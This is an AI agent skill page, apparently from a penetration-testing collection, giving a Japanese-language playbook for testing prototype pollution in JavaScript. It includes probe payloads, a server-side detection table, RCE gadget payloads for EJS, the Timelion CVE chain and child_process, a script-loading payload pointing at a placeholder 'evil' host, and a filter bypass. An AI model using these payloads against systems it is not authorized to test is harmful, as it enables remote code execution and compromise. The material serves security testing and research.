prototype-pollution
JavaScriptスタックにおけるプロトタイプ汚染の検査に使用するスキルです。クエリパーサーやJSONボディ、ディープマージなどでユーザー入力がオブジェクトにマージされる場合、信頼できないキーでライブラリを設定する場合、またはNodeやブラウザ環境で汚染された`Object.prototype`を介したRCEガジェットを探索する際にトリガーします。
description の原文を見る
>- Prototype pollution testing for JavaScript stacks. Use when user input is merged into objects (query parsers, JSON bodies, deep assign), when configuring libraries via untrusted keys, or when hunting RCE gadgets via polluted Object.prototype in Node or the browser.
SKILL.md 本文
SKILL: プロトタイプポルーション — エキスパート攻撃プレイブック
AI LOAD INSTRUCTION: クライアント・サーバー JS 向けエキスパートプロトタイプポルーション。
__proto__対constructor.prototype、マージシンク検出、Express/qs スタイルのブラックボックスプローブ、ガジェットチェーン (EJS、Timelion クラスパターン、child_process/NODE_OPTIONS) をカバー。オブジェクトスプレッドとプロトタイプ継承の知識を想定 — 焦点は パーサーの動作 と ポルーション後のシンク にあります。
ルーティングノート: 深いマージ、再帰的割り当て、JSON.parse の後に Object.assign、またはネストされたオブジェクトに変換される URL クエリを見つけたときは PP を優先します。
0. クイックスタート
クライアント側の最初のプローブ
#__proto__[polluted]=1
#__proto__[polluted]=polluted
#constructor[prototype][polluted]=1
入力が DOM またはフレームワークルーティングに反映される場合は、alert(1) / console チェックと組み合わせてグローバルオブジェクトプロパティが汚染されたかどうかを観察します。
#__proto__[xxx]=alert(1)
サーバー側の最初のプローブ(JSON / フォーム)
{"__proto__":{"polluted":true}}
{"constructor":{"prototype":{"polluted":true}}}
送信後、関連性のないフォローアップレスポンスに異常なヘッダー/ステータス/JSON 間隔が表示されるか、またはアプリロジックが Object.prototype.polluted を読み取るかどうかを確認します(§3 検出テーブルを参照)。
クイックブール値
対象のコードが lodash.merge、deep-extend、hoek.applyToDefaults、または qs/query-string の構成を使用している場合、優先度を上げます。
1. メカニズム
プロトタイプチェーン: obj.key にアクセスする場合、obj が独自プロパティ key を持たないなら、ルックアップは Object.prototype に到達するまで [[Prototype]] を上へ進みます。
__proto__: 多くのパーサーはリテラルキー __proto__ を子プロパティをプロトタイプにアタッチする魔法のパスとして扱います。{ "__proto__": { "x": 1 } } をマージすることは、実装とパッチレベルに応じて Object.prototype.x = 1 と等価である場合があります。
constructor.prototype: constructor は通常オブジェクトのコンストラクター関数を指し、constructor.prototype はそのコンストラクターのプロトタイプオブジェクトです。プレーンオブジェクトの場合、これは通常 Object.prototype にリンクしています。パスの例:
{"constructor":{"prototype":{"polluted":1}}}
これが必ずしも __proto__ と等価とは限りません(フィルタリング、JSON 解析、Bun/Node の違い)ので、両方のパスをテストします。
根本的な問題: これは単なる「1つの追加パラメーター」ではなく、分離されていないマージロジックでは、攻撃者が制御するキーが プロトタイプオブジェクト を指し、グローバル または共有テンプレートコンテキストに悪意のあるプロパティを与え、後のコードが通常通り読み取ってガジェットをトリガーします。
2. クライアント側の検出
URL フラグメント
https://app.example/page#__proto__[admin]=1
https://app.example/#__proto__[xxx]=alert(1)
ルーターまたはアナリティクスコードがフラグメントをオブジェクトにパースしてマージする場合、ポルーションが発生する可能性があります。
constructor.prototype パス
#constructor[prototype][role]=admin
DOM / 属性インジェクションアイデア
フレームワークが属性名をオブジェクトキーとしてマージする場合:
__proto__[src]=//evil/xss.js
イベントハンドラースタイルのキー(実装依存):
__proto__[onerror]=alert(1)
検証: フラグメントのない新しいページを開き、テストキーが Object.prototype に残っているかどうかをコンソールで確認します。拡張機能と DevTools の干渉を考慮してください。
3. サーバー側の検出(Express / Node、ブラックボックス)
以下のペイロードは、ボディ/クエリが qs または同様のパーサーによってオブジェクトに深くパースされることを想定しています(body-parser を使用している可能性があります)。現在のエンドポイント戻り値だけでなく、グローバルな副作用 を観察します。
| ペイロード(JSON例) | 予想される観測可能なシグナル |
|---|---|
{"__proto__":{"parameterLimit":1}} | フォローアップリクエストでのマルチパラメーター解析が無視されるか異常 (qs スタイル parameterLimit) |
{"__proto__":{"ignoreQueryPrefix":true}} | ??foo=bar のようなダブルクエスチョンマークプレフィックスが受け入れられるか動作が大きく変わる |
{"__proto__":{"allowDots":true}} | ?foo.bar=baz のようなネストされたキーがドット記法で拡張される |
{"__proto__":{"json spaces":" "}} | JSON シリアライズされたレスポンスに余分なスペースが追加される (JSON.stringify スペース設定が汚染) |
{"__proto__":{"exposedHeaders":["foo"]}} | CORS レスポンスに foo 関連のヘッダーが含まれる(フレームワークがプロトタイプから設定を読み取る場合) |
{"__proto__":{"status":510}} | 一部レスポンスステータスが 510 または別の異常なコードに変わる(アプリがオブジェクトから status を読み取る) |
運用上のヒント: まずポルーションリクエストを送信し、その後 クリーン リクエストを送信して永続性を観察します。接続プールとワーカーライフサイクルは影響がグローバルに見えるかどうかに影響します。
4. エクスプロイトガジェット
| ターゲット / シナリオ | ペイロードまたはパターン | 注記 |
|---|---|---|
| EJS | {"__proto__":{"client":1,"escapeFunction":"JSON.stringify; process.mainModule.require('child_process').exec('COMMAND')"}} | escapeFunction のようなテンプレートエンジンオプションが汚染されたプロトタイプから読み取られる場合、RCE につながる可能性があります。バージョン/設定に大きく依存 |
| Timelion式チェーン (CVE-2019-7609) | .es(*).props(label.__proto__.env.AAAA='require("child_process").exec("COMMAND")') | 履歴的チェーン: プロトタイプポルーション + タイムライン式実行。式 + PP の組み合わせを理解するのに有用 |
Node child_process | shell、argv0、env、NODE_OPTIONS などを汚染(exec/fork オプションオブジェクトにマージ) | 後のコードが spawn/fork を呼び出し、プロトタイプチェーンからオプションを読み取るかどうかに依存 |
| 汎用コンストラクターパス | {"constructor":{"prototype":{"foo":"bar"}}} | __proto__ キーのみをフィルタリングする弱い検証をバイパス |
チェーンの考え方: ポルーション -> 依存関係が obj.settings.xxx を hasOwnProperty なしで読み取る -> RCE / SSRF / パストラバーサル。
5. ツール
| プロジェクト | 目的 |
|---|---|
| yeswehack/pp-finder | PP の傾向がある マージ地点とパターンの特定を支援 |
| yuske/silent-spring | プロトタイプポルーション表面周辺の研究と検出 |
| yuske/server-side-prototype-pollution | サーバー側 PP テストスイート/方法論 |
| BlackFan/client-side-prototype-pollution | ブラウザ側 PP ケースとペイロード |
| portswigger/server-side-prototype-pollution | Burp エコシステム拡張 / サポート資料 |
| msrkp/PPScan | スキャン/検証ヘルパー |
認可された ターゲットでの使用を優先します。自動ツールはステートフルアプリケーションに副作用を引き起こす可能性があります。
6. デシジョンツリー
入力がネストされたオブジェクトにマージされる?
(クエリ、JSON、GraphQL 変数、YAML→JSON)
|
NO --------------+-------------- YES
| |
その他の脆弱性クラス パーサーが __proto__ /
constructor.prototype キーを許可?
|
NO --------------+-------------- YES
| |
ユニコード / グローバル効果を確認:
キー名のバイパスをチェック クリーンなフォローアップリクエスト
| |
+--------------+----------------+
|
v
ガジェット存在?(テンプレート、spawn、JSON.stringify 設定、CORS)
|
NO ------------------+------------------ YES
| |
PP を DoS / 最小限の RCE または
ロジック影響として報告 高影響 PoC を構築
| |
+---------------------+-------------------+
|
v
クライアント側: フラグメント / DOM / サードパーティスクリプト
サーバー側: qs/body-parser/lodash/deep-merge バージョン監査
関連ルーティング
- 入力ルーティングと複数インジェクション並列エントリ ->
Injection Testing Router. - テンプレート実行チェーン(非PP) ->
SSTI. - 安全でない逆シリアライゼーション(非JS プロトタイプ) ->
Deserialization.
ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ
詳細情報
- 作者
- yaklang
- リポジトリ
- yaklang/hack-skills
- ライセンス
- MIT
- 最終更新
- 不明
Source: https://github.com/yaklang/hack-skills / ライセンス: MIT
関連スキル
doubt-driven-development
重要な判断はすべて、本番環境への展開前に新しい視点から対抗的レビューを実施します。速度より正確性が重要な場合、不慣れなコードを扱う場合、本番環境・セキュリティに関わるロジック・取り消し不可の操作など影響度が高い場合、または後でバグを修正するよりも今検証する方が効率的な場合に活用してください。
apprun-skills
TypeScriptを使用したAppRunアプリケーションのMVU設計に関する総合的なガイダンスが得られます。コンポーネントパターン、イベントハンドリング、状態管理(非同期ジェネレータを含む)、パラメータと保護機能を備えたルーティング・ナビゲーション、vistestを使用したテストに対応しています。AppRunコンポーネントの設計・レビュー、ルートの配線、状態フローの管理、AppRunテストの作成時に活用してください。
desloppify
コードベースのヘルスチェックと技術負債の追跡ツールです。コード品質、技術負債、デッドコード、大規模ファイル、ゴッドクラス、重複関数、コードスメル、命名規則の問題、インポートサイクル、結合度の問題についてユーザーが質問した場合に使用してください。また、ヘルススコアの確認、次の改善項目の提案、クリーンアップ計画の作成をリクエストされた際にも対応します。29言語に対応しています。
debugging-and-error-recovery
テストが失敗したり、ビルドが壊れたり、動作が期待と異なったり、予期しないエラーが発生したりした場合に、体系的な根本原因デバッグをガイドします。推測ではなく、根本原因を見つけて修正するための体系的なアプローチが必要な場合に使用してください。
test-driven-development
テスト駆動開発により実装を進めます。ロジックの実装、バグの修正、動作の変更など、あらゆる場面で活用できます。コードが正常に動作することを証明する必要がある場合、バグ報告を受けた場合、既存機能を修正する予定がある場合に使用してください。
incremental-implementation
変更を段階的に実施します。複数のファイルに影響する機能や変更を実装する場合に使用してください。大量のコードを一度に書こうとしている場合や、タスクが一度では完結できないほど大きい場合に活用します。